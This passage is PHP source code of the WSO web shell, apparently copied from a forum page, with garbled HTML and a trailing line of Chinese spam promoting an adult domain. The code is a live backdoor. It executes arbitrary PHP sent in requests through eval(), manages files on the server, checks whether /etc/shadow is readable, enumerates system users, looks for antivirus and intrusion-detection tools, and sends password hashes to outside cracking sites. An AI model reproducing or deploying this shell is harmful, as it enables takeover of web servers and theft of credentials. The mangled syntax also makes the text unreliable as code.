return sprintf('%1.2f', $s / 1024 ) . ' KB';
return $s . ' B';
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
function wsoPermsColor($f) {
if (!@is_readable($f))
return '&font color=#FF0000&' . wsoPerms(@fileperms($f)) . '&/font&';
elseif (!@is_writable($f))
return '&font color=white&' . wsoPerms(@fileperms($f)) . '&/font&';
return '&font color=#25ff00&' . wsoPerms(@fileperms($f)) . '&/font&';
function wsoScandir($dir) {
if(function_exists(&scandir&)) {
return scandir($dir);
= opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
function actionSecInfo() {
wsoHeader();
echo '&h1&Server security information&/h1&&div class=content&';
function wsoSecParam($n, $v) {
$v = trim($v);
echo '&span&' . $n . ': &/span&';
if(strpos($v, &\n&) === false)
echo $v . '&br&';
echo '&pre class=ml1&' . $v . '&/pre&';
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = &MySql (&.mysql_get_client_info().&)&;
if(function_exists('mssql_connect'))
$temp[] = &MSSQL&;
if(function_exists('pg_connect'))
$temp[] = &PostgreSQL&;
if(function_exists('oci_connect'))
$temp[] = &Oracle&;
wsoSecParam('Supported databases', implode(', ', $temp));
echo '&br&';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?&yes &a href='#' onclick='g(\&FilesTools\&, \&/etc/\&, \&passwd\&)'&[view]&/a&&:'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?&yes &a href='#' onclick='g(\&FilesTools\&, \&/etc/\&, \&shadow\&)'&[view]&/a&&:'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '&br&';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $
wsoSecParam('Downloaders', implode(', ',$temp));
echo '&br/&';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '&br/&&span&posix_getpwuid (&Read& /etc/passwd)&/span&&table&&form onsubmit=\'g(null,null,&5&,this.param1.value,this.param2.value);\'&&tr&&td&From&/td&&td&&input type=text name=param1 value=0&&/td&&/tr&&tr&&td&To&/td&&td&&input type=text name=param2 value=1000&&/td&&/tr&&/table&&input type=submit value=&&&&&&/form&';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = &&;
for(;$_POST['p2'] &= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
$temp .= join(':',$uid).&\n&;
echo '&br/&';
wsoSecParam('Users', $temp);
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
echo '&/div&';
wsoFooter();
function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = &document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='& . addcslashes(htmlspecialchars(ob_get_clean()), &\n\r\t\\'\0&) . &';\n&;
echo strlen($temp), &\n&, $
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '&h1&PHP info&/h1&&div class=content&&style&.p {color:#000;}&/style&';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!&img[^&]+&!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
echo str_replace('&h1','&h2', $tmp) .'&/div&&br&';
echo '&h1&Execution PHP-code&/h1&&div class=content&&form name=pf method=post onsubmit=&if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}&&&textarea name=code class=bigarea id=PhpCode&'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'&/textarea&&input type=submit value=Eval style=&margin-top:5px&&';
echo ' &input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'& send using AJAX&/form&&pre id=PhpOutput style=&'.(empty($_POST['p1'])?'display:':'').'margin-top:5& class=ml1&';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
echo '&/pre&&/div&';
wsoFooter();
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo &Can't upload file!&;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo &Can't create new dir&;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
= opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$
if ( (basename($item) == &..&) || (basename($item) == &.&) )
$type = filetype($item);
if ($type == &dir&)
deleteDir($item);
@unlink($item);
closedir($dh);
@rmdir($path);
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
@unlink($f);
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != &.&) and ($f != &..&))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != &.&) and ($f != &..&))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip-&open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
if(@is_file($_COOKIE['c'].$f))
$zip-&addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=&$value) {
$zip-&addFile(realpath($key), $key);
chdir($GLOBALS['cwd']);
$zip-&close();
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip-&open($_COOKIE['c'].$f)) {
$zip-&extractTo($GLOBALS['cwd']);
$zip-&close();
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
wsoHeader();
echo '&h1&File manager&/h1&&div class=content&&script&p1_=p2_=p3_=&&;&/script&';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) {echo 'Can\'t open this folder!';wsoFooter(); }
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
echo &&script&
function sa() {
for(i=0;i&d.files.elements.i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].
&table width='100%' class='main' cellspacing='0' cellpadding='2'&
&form name=files method=post&&tr&&th width='13px'&&input type=checkbox onclick='sa()' class=chkbx&&/th&&th&&a href='#' onclick='g(\&FilesMan\&,null,\&s_name_&.($sort[1]?0:1).&\&)'&Name&/a&&/th&&th&&a href='#' onclick='g(\&FilesMan\&,null,\&s_size_&.($sort[1]?0:1).&\&)'&Size&/a&&/th&&th&&a href='#' onclick='g(\&FilesMan\&,null,\&s_modify_&.($sort[1]?0:1).&\&)'&Modify&/a&&/th&&th&Owner/Group&/th&&th&&a href='#' onclick='g(\&FilesMan\&,null,\&s_perms_&.($sort[1]?0:1).&\&)'&Permissions&/a&&/th&&th&Actions&/th&&/tr&&;
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i&$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' =& $dirContent[$i],
'path' =& $GLOBALS['cwd'].$dirContent[$i],
'modify' =& date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' =& wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' =& @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' =& $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' =& $gr['name']?$gr['name']:@filegroup($dirContent[$i])
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' =& 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' =& 'link', 'link' =& readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' =& 'dir'));
$GLOBALS['sort'] = $
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
return (($a['size'] & $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
usort($files, &wsoCmp&);
usort($dirs, &wsoCmp&);
$files = array_merge($dirs, $files);
foreach($files as $f) {
echo '&tr'.($l?' class=l1':'').'&&td&&input type=checkbox name=&f[]& value=&'.urlencode($f['name']).'& class=chkbx&&/td&&td&&a href=# onclick=&'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')&&'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');& ' . (empty ($f['link']) ? '' : &title='{$f['link']}'&) . '&&b&[ ' . htmlspecialchars($f['name']) . ' ]&/b&').'&/a&&/td&&td&'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'&/td&&td&'.$f['modify'].'&/td&&td&'.$f['owner'].'/'.$f['group'].'&/td&&td&&a href=# onclick=&g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')&&'.$f['perms']
.'&/td&&td&&a href=&#& onclick=&g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')&&R&/a& &a href=&#& onclick=&g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')&&T&/a&'.(($f['type']=='file')?' &a href=&#& onclick=&g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')&&E&/a& &a href=&#& onclick=&g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')&&D&/a&':'').'&/td&&/tr&';
$l = $l?0:1;
echo &&tr&&td colspan=7&
&input type=hidden name=a value='FilesMan'&
&input type=hidden name=c value='& . htmlspecialchars($GLOBALS['cwd']) .&'&
&input type=hidden name=charset value='&. (isset($_POST['charset'])?$_POST['charset']:'').&'&
&select name='p1'&&option value='copy'&Copy&/option&&option value='move'&Move&/option&&option value='delete'&Delete&/option&&;
if(class_exists('ZipArchive'))
echo &&option value='zip'&Compress (zip)&/option&&option value='unzip'&Uncompress (zip)&/option&&;
echo &&option value='tar'&Compress (tar.gz)&/option&&;
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo &&option value='paste'&Paste / Compress&/option&&;
echo &&/select&&&;
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo &file name: &input type=text name=p2 value='wso_& . date(&Ymd_His&) . &.& . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . &'&&&;
echo &&input type='submit' value='&&'&&/td&&/tr&&/form&&/table&&/div&&;
wsoFooter();
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i&strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i&strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i&strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' =& 'base64_encode',
'Base64 decode' =& 'base64_decode',
'Url encode' =& 'urlencode',
'Url decode' =& 'urldecode',
'Full urlencode' =& 'full_urlencode',
'md5 hash' =& 'md5',
'sha1 hash' =& 'sha1',
'crypt' =& 'crypt',
'CRC32' =& 'crc32',
'ASCII to HEX' =& 'ascii2hex',
'HEX to ASCII' =& 'hex2ascii',
'HEX to DEC' =& 'hexdec',
'HEX to BIN' =& 'hex2bin',
'DEC to HEX' =& 'dechex',
'DEC to BIN' =& 'decbin',
'BIN to HEX' =& 'binhex',
'BIN to DEC' =& 'bindec',
'String to lower case' =& 'strtolower',
'String to upper case' =& 'strtoupper',
'Htmlspecialchars' =& 'htmlspecialchars',
'String length' =& 'strlen',
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = &document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='&.addcslashes(htmlspecialchars(ob_get_clean()),&\n\r\t\\'\0&).&';\n&;
echo strlen($temp), &\n&, $
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '&h1&String conversions&/h1&&div class=content&';
echo &&form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);}'&&select name='selectTool'&&;
foreach($stringTools as $k =& $v)
echo &&option value='&.htmlspecialchars($v).&'&&.$k.&&/option&&;
echo &&/select&&input type='submit' value='&&'/& &input type=checkbox name=ajax value=1 &.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').&& send using AJAX&br&&textarea name='input' style='margin-top:5px' class=bigarea&&.(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])).&&/textarea&&/form&&pre class='ml1' style='&.(empty($_POST['p1'])?'display:':'').&margin-top:5px' id='strOutput'&&;
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
echo&&/pre&&/div&&br&&h1&Search files:&/h1&&div class=content&
&form onsubmit=\&g(null,this.cwd.value,null,this.text.value,this.filename.value);\&&&table cellpadding='1' cellspacing='0' width='50%'&
&tr&&td width='1%'&Text:&/td&&td&&input type='text' name='text' style='width:100%'&&/td&&/tr&
&tr&&td&Path:&/td&&td&&input type='text' name='cwd' value='&. htmlspecialchars($GLOBALS['cwd']) .&' style='width:100%'&&/td&&/tr&
&tr&&td&Name:&/td&&td&&input type='text' name='filename' value='*' style='width:100%'&&/td&&/tr&
&tr&&td&&/td&&td&&input type='submit' value='&&'&&/td&&/tr&
&/table&&/form&&;
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo &&a href='#' onclick='g(\&FilesTools\&,null,\&&.urlencode($item).&\&, \&view\&,\&\&)'&&.htmlspecialchars($item).&&/a&&br&&;
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo &&/div&&br&&h1&Search for hash:&/h1&&div class=content&
&form method='post' target='_blank' name='hf'&
&input type='text' name='hash' style='width:200'&&br&
&input type='hidden' name='act' value='find'/&
&input type='button' value='hashcracking.ru' onclick=\&document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\&&&br&
&input type='button' value='' onclick=\&document.hf.action='/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\&&&br&
&input type='button' value='crackfor.me' onclick=\&document.hf.action='http://crackfor.me/index.php';document.hf.submit()\&&&br&
&/form&&/div&&;
wsoFooter();
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start(&ob_gzhandler&, 4096);
header(&Content-Disposition: filename=&.basename($_POST['p1']));
if (function_exists(&mime_content_type&)) {
$type = @mime_content_type($_POST['p1']);
header(&Content-Type: & . $type);
header(&Content-Type: application/octet-stream&);
$fp = @fopen($_POST['p1'], &r&);
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
$_POST['p2'] = &edit&;
fclose($fp);
wsoHeader();
echo '&h1&File tools&/h1&&div class=content&';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '&span&Name:&/span& '.htmlspecialchars(@basename($_POST['p1'])).' &span&Size:&/span& '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' &span&Permission:&/span& '.wsoPermsColor($_POST['p1']).' &span&Owner/Group:&/span& '.$uid['name'].'/'.$gid['name'].'&br&';
echo '&span&Change time:&/span& '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' &span&Access time:&/span& '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' &span&Modify time:&/span& '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'&br&&br&';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '&a href=# onclick=&g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')&&'.((strtolower($v)==@$_POST['p2'])?'&b&[ '.$v.' ]&/b&':$v).'&/a& ';
echo '&br&&br&';
switch($_POST['p2']) {
case 'view':
echo '&pre class=ml1&';
$fp = @fopen($_POST['p1'], 'r');
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
echo '&/pre&';
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '&div class=ml1 style=&background-color: #e1e1e1;}

我要回帖

更多关于 https 333av.vip 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信